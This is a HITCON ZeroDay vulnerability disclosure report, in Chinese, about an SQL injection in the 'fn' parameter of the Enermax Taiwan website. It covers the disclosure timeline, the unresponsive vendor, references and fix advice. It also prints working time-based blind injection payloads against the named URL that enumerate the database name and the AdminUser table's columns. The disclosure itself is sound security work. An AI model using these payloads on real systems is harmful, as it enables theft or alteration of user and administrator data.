Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-00249
- Vendor: 保銳科技股份有限公司
- Title: 保銳科技股份有限公司,發現 SQL-Injection 漏洞。
- Introduction: SQL-Injection
處理狀態
目前狀態
公開
Last Update : 2019/05/15
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2019/03/15 02:40:49 : 新提交 (由 MksYi 更新此狀態)
- 2019/03/15 02:43:47 : 新提交 (由 MksYi 更新此狀態)
- 2019/03/15 02:45:14 : 新提交 (由 MksYi 更新此狀態)
- 2019/03/15 02:45:58 : 新提交 (由 MksYi 更新此狀態)
- 2019/03/15 02:51:53 : 新提交 (由 MksYi 更新此狀態)
- 2019/03/15 12:38:52 : 新提交 (由 MksYi 更新此狀態)
- 2019/03/15 16:23:17 : 新提交 (由 MksYi 更新此狀態)
- 2019/03/15 16:25:37 : 新提交 (由 MksYi 更新此狀態)
- 2019/03/15 22:48:15 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/03/16 11:13:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/03/16 11:13:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/03/16 11:13:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/05/15 03:00:01 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2019-00249
- 通報者:MksYi (MksYi)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.enermax.com.tw/home.php?fn=chi/main
敘述
-
透過
fn修改參數為chi'/main,在chi與/main之間安插單引號,呈現下圖畫面。 -
透過 SQL 指令
sleep()判斷注入成功,並用 Time Based Blind 的方式撰寫腳本得知資料庫名稱。fn=chi union select sleep(database() like "enermax") ^ (select 1 union select 2) %23 -
隨後為了抓取 Tables Name,自行寫了一個腳本 Dump,由於腳本沒有防誤判,所以部分 Tables 名稱不完整,甚至沒有篩選大小寫,此外 Tables 數量由於時間成本關係,僅抓取 30 筆。
?fn=chi union select sleep((SELECT column_name FROM information_schema.columns WHERE table_schema="enermax" AND table_name ="adminuser" limit <Number>, 1) like "<String>%") ^ (select 1 union select 2) %23/main -
挑選其中的
AdminUserTable 進行欄位探勘?fn=chi union select sleep((SELECT column_name FROM information_schema.columns WHERE table_schema="enermax" %26%26 table_name ="AdminUser" limit <Number>,1) like "<String>%") ^ (select 1 union select 2) %23/main
若依照同樣的注入邏輯,把整個資料庫資料 Dump 出來是遲早的事情。
修補建議
1. 針對參數接收程式進行過濾
2. 關閉 Debug 模式,以免錯誤訊息洩漏機密資訊。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。